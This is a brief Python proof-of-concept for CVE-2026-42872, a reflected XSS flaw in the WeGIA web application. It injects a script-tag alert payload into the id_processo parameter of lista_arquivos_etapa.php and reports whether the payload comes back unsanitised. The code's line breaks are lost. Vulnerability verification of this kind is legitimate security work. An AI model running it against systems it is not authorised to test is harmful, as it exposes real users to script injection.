CVE-2026-42872 WeGIA反射型XSS漏洞

import requests def check_xss_vulnerability(target_url): """ PoC to demonstrate the reflected XSS in CVE-2026-42872. Target endpoint: lista_arquivos_etapa.php Vulnerable parameter: id_processo """ # The vulnerable endpoint path endpoint = "/lista_arquivos_etapa.php" # Malicious payload to inject JavaScript # Using a simple alert script to demonstrate execution payload = "<script>alert('CVE-2026-42872_XSS');</script>" # Construct the full URL full_url = f"{target_url}{endpoint}" # Parameters to send params = { "id_processo": payload } try: # Send GET request response = requests.get(full_url, params=params, timeout=10) # Check if the payload is reflected in the response body without sanitization if payload in response.text: print(f"[+] Vulnerability confirmed at: {response.url}") print("[+] The application reflected the un sanitized input.") return True else: print("[-] Vulnerability not detected or already patched.") return False except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") return False if __name__ == "__main__": # Replace with the actual target URL target = "http://localhost:80/we gia" check_xss_vulnerability(target)